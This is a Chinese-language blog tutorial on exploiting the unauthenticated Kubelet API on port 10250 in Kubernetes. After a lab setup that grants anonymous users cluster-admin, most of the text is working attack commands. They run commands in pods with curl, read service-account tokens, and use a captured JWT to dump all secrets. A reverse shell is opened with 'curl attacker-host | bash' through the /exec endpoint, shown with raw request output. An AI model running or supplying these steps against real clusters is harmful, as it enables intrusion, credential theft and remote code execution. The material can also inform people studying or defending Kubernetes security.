kubeproxy占用端口(kube-proxy端口)

漏洞描述

K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机

环境搭建

Step 1:修改配置文件开启匿名访问:

sudo vi /var/lib/kubelet/config.yaml

Step 2:重载服务

systemctl restart kubelet.servicesystemctl status kubelet

kubeproxy占用端口(kube-proxy端口)

之后使用浏览器访问发现依旧不行

kubeproxy占用端口(kube-proxy端口)

Step 3:最后直接system:anonymous绑定到cluster-admin角色中并起个cluster-system:anonymous名字

kubectl create clusterrolebinding cluster-system:anonymous --clusterrole=cluster-admin --user=system:anonymous

kubeproxy占用端口(kube-proxy端口)

Step 4:之后再次访问之

kubeproxy占用端口(kube-proxy端口)

漏洞利用

Step 1:获得token

首先需要确定node是否存在未授权问题,如果访问以下地址并返回如下数据表示可以利用

https://ip:10250/pods

kubeproxy占用端口(kube-proxy端口)

Step 2:基础信息确定

从上述结果中确定namespace、pod_name、container_name,关于查找方法可以通过检索selfLink,此时会发现再返回的数据中会有一个类似\\”/api/v1/namespaces/kube-system/pods/kube-flannel-ds-xwk2t\\”的值,其中namespaces就是后面的kube-system,pods就是后面的kube-flannel-ds-xwk2t,如果执行失败可以看看phase的状态是不是fail,如果是的话就换一个phase是running的试试

kubeproxy占用端口(kube-proxy端口)

kubeproxy占用端口(kube-proxy端口)

Step 3:执行命令

可以通过一下命令再在对应的容器里执行命令:

#格式说明curl -k -XPOST \\\"https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%\\\" -d \\\"cmd=ls -la /\\\"    #执行实例curl -k -XPOST \\\"https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel\\\" -d \\\"cmd=ls -la /\\\"

kubeproxy占用端口(kube-proxy端口)

Step 4:检索Token信息

默认情况下Token保存在/var/run/secrets/kubernetes.io/serviceaccount/token

curl -k -XPOST \\\"https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel\\\" -d \\\"cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\\\"

kubeproxy占用端口(kube-proxy端口)

如果token不在/var/run/secrets/kubernetes.io/serviceaccount/token,那么可以通过mount命令来查找

curl -k -XPOST \\\"https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel\\\" -d \\\"cmd=mount\\\"

kubeproxy占用端口(kube-proxy端口)

Step 5:获得master访问权

接下来可以尝试获得master(api server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息:

curl -k -XPOST \\\"https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel\\\" -d \\\"cmd=env\\\"

kubeproxy占用端口(kube-proxy端口)

curl -k -XPOST \\\"https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel\\\" -d \\\"cmd=netstat -ntlp\\\"

kubeproxy占用端口(kube-proxy端口)

如果提示Error from server (Forbidden): secrets is forbidden: User “\\” cannot list resource \\”secrets\\” in API则说明权限不够

kubectl --insecure-skip-tls-verify=true --server=\\\"https://192.168.17.144:6443\\\" --token=\\\"eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJmbGFubmVsLXRva2VuLWhwbGJ0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImZsYW5uZWwiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwMmJmZmUzZi0wNGE5LTQ2MTItYjRjYy1mYjNkNTdiNjZiZDkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Zmxhbm5lbCJ9.oGnRE55P1Dv9W4-Gs8UCp5M1_vdL2flZ0WYJtr8HTMgb2Si6wb-N_ltS1HRi_Q9VHsS_CsjHw3ZqA-jQvbz-RENNLDEL20nUt9J51IyqeGPC3sKAd3fVOZmViIVrYsQSewvPHwPq7qvFnIj1aR-pFYrB47iohej2XvS4aTNZMdpxhL0jCBa3o5SFZg1oNR1rzJd1hhSaCNAbQ7_JMdTuCy4aU0zykVd0GoUF9gXRD7Avx9Y25QGCBTdPgL11fzjcGiG93KtfE4QASiLemnxDF1TPeob9MERFbT6mq-CQ7243U6HjF6Lx-1NfLk52qaXp3hbpGySNudUz_i_Q-KWIgw\\\" get secrets --all-namespaces -o json

kubeproxy占用端口(kube-proxy端口)

Step 6:获取node里pod的shell

攻击者可以本地搭建web服务,通过在node中的pod里执行反弹语句来获得node的shell,假定这里的192.168.17.161:80是攻击者web服务,之后写入以下反弹shell指令,之后启动一个简易的HTTP服务:

kubeproxy占用端口(kube-proxy端口)

在本地浏览器中进行简单测试:

kubeproxy占用端口(kube-proxy端口)

之后在攻击主机上监听:

kubeproxy占用端口(kube-proxy端口)

之后进行反弹shell操作:

curl --insecure -v -H \\\"X-Stream-Protocol-Version: v2.channel.k8s.io\\\" -H \\\"X-Stream-Protocol-Version: channel.k8s.io\\\" -X POST \\\"https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1\\\"

kubeproxy占用端口(kube-proxy端口)

发现并不行,之后尝试下面的语句(主要换了sh)

curl --insecure -v -H \\\"X-Stream-Protocol-Version: v2.channel.k8s.io\\\" -H \\\"X-Stream-Protocol-Version: channel.k8s.io\\\" -X POST \\\"https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1\\\"

kubeproxy占用端口(kube-proxy端口)

发现也为成功,可能是笔者这里的环境问题所致,下面给出一个成功的截图:

kubeproxy占用端口(kube-proxy端口)

之后会再执行端返回用于查看执行结果的链接地址:

[root@localhost ~]# curl --insecure -v -H \\\"X-Stream-Protocol-Version: v2.channel.k8s.io\\\" -H \\\"X-Stream-Protocol-Version: channel.k8s.io\\\" -X POST \\\"https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1\\\"* About to connect() to 192.168.4.68 port 10250 (#0)*   Trying 192.168.4.68...* Connected to 192.168.4.68 (192.168.4.68) port 10250 (#0)* Initializing NSS with certpath: sql:/etc/pki/nssdb* skipping SSL peer certificate verification* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256* Server certificate:*   subject: CN=192.168.4.68@1544518989*   start date: 12月 11 09:03:09 2018 GMT*   expire date: 12月 11 09:03:09 2019 GMT*   common name: 192.168.4.68@1544518989*   issuer: CN=192.168.4.68@1544518989> POST /exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1 HTTP/1.1> User-Agent: curl/7.29.0> Host: 192.168.4.68:10250> Accept: */*> X-Stream-Protocol-Version: v2.channel.k8s.io> X-Stream-Protocol-Version: channel.k8s.io> < HTTP/1.1 302 Found< Location: /cri/exec/zEKYcaZt              #查看执行结果< Date: Wed, 07 Aug 2019 06:01:42 GMT< Content-Length: 0< Content-Type: text/plain; charset=utf-8< * Connection #0 to host 192.168.4.68 left intact[root@localhost ~]#

执行如下语句查看命令执行结果

[root@localhost ~]# docker run -it --rm joshgubler/wscat -c \\\"https://192.168.4.68:10250/cri/exec/zEKYcaZt\\\" --no-check

Step 7:连接K8s Master地址

此时我们是在Node的Pod里,在反弹的Shell里查看Master的内部IP

尝试连接K8s Master地址

[root@localhost ~]# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)[root@localhost ~]# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H  \\\"Authorization: Bearer $TOKEN_VALUE\\\" https://10.0.0.1:443/api/v1/pods

文末小结

攻击者可以借助Kubelet端口未授权漏洞获取大量的敏感信息并实现在Pod中执行命令的目的,若要进行后渗透利用还需要获取到有效的Token

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34227.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月3日 下午3:52
下一篇 2024年4月3日 下午3:54

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注